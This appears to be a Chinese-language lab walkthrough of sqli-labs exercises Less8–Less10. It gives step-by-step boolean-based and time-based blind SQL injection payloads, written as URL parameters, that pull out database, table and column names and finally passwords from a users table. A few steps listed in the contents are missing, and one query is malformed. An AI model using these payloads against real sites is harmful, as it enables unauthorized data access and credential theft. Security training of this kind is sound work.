目录
推荐:
一、读写注入(手工)SQL注入基本步骤:
二、Less8(GET - Blind - Boolian Based - Single Quotes)
2.1、简介:(盲注-布尔-单引号)
2.2、第一步:注入点测试
2.3、第二步:猜数据库名长度
2.4、第三步:猜数据库名(ASCII码)
2.5、第四步:猜表名
2.6、第五步:猜字段名
2.7、第六步:猜数据
三、Less9(GET - Blind - Time Based - Single Quotes)
3.1、简介:(盲注-时间-单引号)
3.2、第一步:注入点测试
3.3、第二步:猜数据库名长度
3.4、第三步:猜数据库名(ASCII码)
3.5、第四步:猜表名长度
3.6、第五步:猜表名
3.7、第六步:猜字段长度
3.8、第七步:猜字段名
3.9、第八步:猜数据
四、Less10(GET - Blind - Time Based - double Quotes)
4.1、简介:(盲注-时间-双引号)
一、(手工)SQL注入基本步骤:
第一步:注入点测试
第二步:猜数据库名长度
第三步:猜数据库名(ASCII)
第四步:猜表名长
第五步:猜表名
第六步:猜字段名长
第七步:猜字段名
第八步:猜数据长
第九步:猜数据
二、Less8(GET - Blind - Boolian Based - Single Quotes)
2.1、简介:(盲注-布尔-单引号)
请求方法:GET
方法:无回显的布尔盲注
2.2、第一步:注入点测试
加上单引号,无返回数据
且注释后,有返回数据
所以为单引号闭合,存在SQL注入点
?id=1' and 1=1 --+ 页面有返回
?id=1' and 1=0 --+ 页面无结果返回
存在SQL盲注
2.3、第二步:猜数据库名长度
?id=1' and (length(database()))>7--+页面返回有数据
?id=1' and (length(database()))>8--+页面无结果返回
当前数据库名称长度为:8
2.4、第三步:猜数据库名(ASCII码)
?id=1' and ascii(substr(database(),1,1))>100--+ 页面返回有数据
?id=1' and ascii(substr(database(),1,1))<150--+ 页面返回有数据
二分法,一直从中间分下去,直到确定一个值对应的ascii码
通过这个方法判断出整个数据库名
2.5、第四步:猜表名
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100--+页面返回有数据
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))<150--+有返回数据
采用二分法以此类推得到唯一的值
通过这个方法判断出整个表名
2.6、第五步:猜字段名
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))>50--+ 页面返回有数据
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))<80--+返回有数据
采用二分法以此类推得到唯一的值
通过这个方法判断出整个字段名
2.7、第六步:猜数据
?id=1' and (ascii(substr(( select id users limit 0,1),1,1)))<80--+ 页面返回有数据
?id=1' and (ascii(substr(( select id users limit 0,1),1,1)))>30--+页面返回有数据
采用二分法以此类推得到唯一的值
通过这个方法判断出整个字段名
三、Less9(GET - Blind - Time Based - Single Quotes)
3.1、简介:(盲注-时间-单引号)
请求方法:GET
方法:无回显的时间盲注
3.2、第一步:注入点测试
加上单引号、双引号闭合、数值型注入,都发现回显正常
无法判断是否存在注入点
只能考虑使用延时函数了
?id=1' and sleep(5) --+
标签上面在转,说明函数执行了
即存在注入点
3.3、第二步:猜数据库名长度
?id=1' and if(length(database())>7,sleep(5),1)--+
转了5s说明判断正确
最后用=确定唯一长度
?id=1' and (length(database()))=8--+
转5s,判断正确,长度为8
3.4、第三步:猜数据库名(ASCII码)
?id=1' and if(ascii(substr(database(),1,1))<200,sleep(5),0) --+
转了5s说明if语句为真
?id=1' and if(ascii(substr(database(),1,1))>100,sleep(5),0) --+
转了5s说明if判断为真
二分法,一直从中间分下去,直到确定一个值对应的ascii码
通过这个方法判断出整个数据库名
3.5、第四步:猜表名长度
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>3,sleep(5),1)--+
转了5s说明if判断正确
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))<8,sleep(5),1)--+
3.9、第八步:猜数据
?id=1' and if(ascii(substr((select password from security.users limit 0,1),1,1))>10, sleep(5),0)--+
转了5s说明if判断正确
?id=1' and if(ascii(substr((select password from security.users limit 0,1),1,1))<100, sleep(5),0)--+
转了5s说明if判断正确
采用二分法以此类推得到唯一的值
通过这个方法判断出整个数据
四、Less10(GET - Blind - Time Based - double Quotes)
4.1、简介:(盲注-时间-双引号)
请求方法:GET
方法:无回显的时间盲注
和Less9基本一样
就是是双引号闭合